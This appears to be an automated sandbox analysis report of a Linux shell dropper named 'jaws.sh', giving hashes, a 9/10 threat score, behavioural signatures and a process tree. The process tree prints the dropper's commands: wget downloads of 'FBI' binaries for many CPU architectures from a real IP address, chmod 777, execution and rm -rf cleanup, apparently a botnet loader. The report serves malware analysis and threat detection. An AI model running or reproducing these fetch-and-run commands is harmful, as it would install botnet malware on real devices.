Resubmissions

22-08-2022 21:26

220822-1ag81adddp 9

Analysis

  • max time kernel
    0s
  • max time network
    155s
  • platform
    linux_amd64
  • resource
    ubuntu1804-amd64-en-20211208
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-en-20211208kernel:4.15.0-161-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    22-08-2022 21:26

General

  • Target

    jaws.sh

  • Size

    1KB

  • MD5

    bb622b61445bd51f4d2220f3285f1cab

  • SHA1

    786160fabdf742b2f3afd9cf4d525db3abc9f1f3

  • SHA256

    e579f4644d11462f73605d23f6516203b8889fa35704a92f384568d86a8362ea

  • SHA512

    d6cb82fc6fa835f1a36e459302ed2de47dbaa208356a57b68a765a614bca35f812296f186366137dfcfbe16405951e5435e2418df4511eb1b277af1e22dc5c57

Score
9/10

Malware Config

Signatures

  • Writes file to system bin folder 1 TTPs 1 IoCs
  • Writes DNS configuration 1 TTPs 1 IoCs

    Writes data to DNS resolver config file.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Reads runtime system information 1 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 2 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/jaws.sh
    /tmp/jaws.sh wget http://37.44.238.187/jaws.sh
    1⤵
    • Writes file to tmp directory
    PID:581
    • /bin/cp
      cp /bin/busybox /tmp/
      2⤵
      • Writes file to system bin folder
      • Reads runtime system information
      • Writes file to tmp directory
      PID:582
    • /usr/bin/wget
      wget http://37.44.238.187/FBI.i486
      2⤵
        PID:583
      • /bin/chmod
        chmod 777 FBI.i486
        2⤵
          PID:585
        • ./FBI.i486
          ./FBI.i486 jaws.i486.wget
          2⤵
            PID:586
          • /bin/rm
            rm -rf FBI.i486
            2⤵
              PID:587
            • /usr/bin/wget
              wget http://37.44.238.187/FBI.x86_64
              2⤵
                PID:588
              • /bin/chmod
                chmod 777 FBI.x86_64
                2⤵
                  PID:590
                • ./FBI.x86_64
                  ./FBI.x86_64 jaws.x86_64.wget
                  2⤵
                    PID:595
                  • /bin/rm
                    rm -rf FBI.x86_64
                    2⤵
                      PID:598
                    • /usr/bin/wget
                      wget http://37.44.238.187/FBI.i586
                      2⤵
                        PID:602
                      • /bin/chmod
                        chmod 777 FBI.i586
                        2⤵
                          PID:604
                        • ./FBI.i586
                          ./FBI.i586 jaws.i586.wget
                          2⤵
                            PID:605
                          • /bin/rm
                            rm -rf FBI.i586
                            2⤵
                              PID:606
                            • /usr/bin/wget
                              wget http://37.44.238.187/FBI.i686
                              2⤵
                                PID:607
                              • /bin/chmod
                                chmod 777 FBI.i686
                                2⤵
                                  PID:609
                                • ./FBI.i686
                                  ./FBI.i686 jaws.i686.wget
                                  2⤵
                                    PID:610
                                  • /bin/rm
                                    rm -rf FBI.i686
                                    2⤵
                                      PID:613
                                    • /usr/bin/wget
                                      wget http://37.44.238.187/FBI.mips
                                      2⤵
                                        PID:617
                                      • /bin/chmod
                                        chmod 777 FBI.mips
                                        2⤵
                                          PID:619
                                        • ./FBI.mips
                                          ./FBI.mips jaws.mips.wget
                                          2⤵
                                            PID:620
                                          • /bin/rm
                                            rm -rf FBI.mips
                                            2⤵
                                              PID:622
                                            • /usr/bin/wget
                                              wget http://37.44.238.187/FBI.mipsel
                                              2⤵
                                                PID:623
                                              • /bin/chmod
                                                chmod 777 FBI.mipsel
                                                2⤵
                                                  PID:625
                                                • ./FBI.mipsel
                                                  ./FBI.mipsel jaws.mipsel.wget
                                                  2⤵
                                                    PID:626
                                                  • /bin/rm
                                                    rm -rf FBI.mipsel
                                                    2⤵
                                                      PID:627
                                                    • /usr/bin/wget
                                                      wget http://37.44.238.187/FBI.arm
                                                      2⤵
                                                        PID:628
                                                      • /bin/chmod
                                                        chmod 777 FBI.arm
                                                        2⤵
                                                          PID:630
                                                        • ./FBI.arm
                                                          ./FBI.arm jaws.arm.wget
                                                          2⤵
                                                            PID:631
                                                          • /bin/rm
                                                            rm -rf FBI.arm
                                                            2⤵
                                                              PID:633
                                                            • /usr/bin/wget
                                                              wget http://37.44.238.187/FBI.arm5
                                                              2⤵
                                                                PID:634
                                                              • /bin/chmod
                                                                chmod 777 FBI.arm5
                                                                2⤵
                                                                  PID:636
                                                                • ./FBI.arm5
                                                                  ./FBI.arm5 jaws.arm5.wget
                                                                  2⤵
                                                                    PID:637
                                                                  • /bin/rm
                                                                    rm -rf FBI.arm5
                                                                    2⤵
                                                                      PID:639
                                                                    • /usr/bin/wget
                                                                      wget http://37.44.238.187/FBI.arm6
                                                                      2⤵
                                                                        PID:640
                                                                      • /bin/chmod
                                                                        chmod 777 FBI.arm6
                                                                        2⤵
                                                                          PID:642
                                                                        • ./FBI.arm6
                                                                          ./FBI.arm6 jaws.arm6.wget
                                                                          2⤵
                                                                            PID:643
                                                                          • /bin/rm
                                                                            rm -rf FBI.arm6
                                                                            2⤵
                                                                              PID:645
                                                                            • /usr/bin/wget
                                                                              wget http://37.44.238.187/FBI.arm7
                                                                              2⤵
                                                                                PID:646
                                                                              • /bin/chmod
                                                                                chmod 777 FBI.arm7
                                                                                2⤵
                                                                                  PID:648
                                                                                • ./FBI.arm7
                                                                                  ./FBI.arm7 jaws.arm7.wget
                                                                                  2⤵
                                                                                    PID:649
                                                                                  • /bin/rm
                                                                                    rm -rf FBI.arm7
                                                                                    2⤵
                                                                                      PID:651
                                                                                    • /usr/bin/wget
                                                                                      wget http://37.44.238.187/FBI.ppc
                                                                                      2⤵
                                                                                        PID:652
                                                                                      • /bin/chmod
                                                                                        chmod 777 FBI.ppc
                                                                                        2⤵
                                                                                          PID:654
                                                                                        • ./FBI.ppc
                                                                                          ./FBI.ppc jaws.ppc.wget
                                                                                          2⤵
                                                                                            PID:655
                                                                                          • /bin/rm
                                                                                            rm -rf FBI.ppc
                                                                                            2⤵
                                                                                              PID:657
                                                                                            • /usr/bin/wget
                                                                                              wget http://37.44.238.187/FBI.m68k
                                                                                              2⤵
                                                                                                PID:658
                                                                                              • /bin/chmod
                                                                                                chmod 777 FBI.m68k
                                                                                                2⤵
                                                                                                  PID:660
                                                                                                • ./FBI.m68k
                                                                                                  ./FBI.m68k jaws.m68k.wget
                                                                                                  2⤵
                                                                                                    PID:661
                                                                                                  • /bin/rm
                                                                                                    rm -rf FBI.m68k
                                                                                                    2⤵
                                                                                                      PID:662
                                                                                                    • /usr/bin/wget
                                                                                                      wget http://37.44.238.187/FBI.sh4
                                                                                                      2⤵
                                                                                                        PID:663
                                                                                                      • /bin/chmod
                                                                                                        chmod 777 FBI.sh4
                                                                                                        2⤵
                                                                                                          PID:665
                                                                                                        • ./FBI.sh4
                                                                                                          ./FBI.sh4 jaws.sh4.wget
                                                                                                          2⤵
                                                                                                            PID:666
                                                                                                          • /bin/rm
                                                                                                            rm -rf FBI.sh4
                                                                                                            2⤵
                                                                                                              PID:668

                                                                                                          Network

                                                                                                          MITRE ATT&CK Enterprise v6

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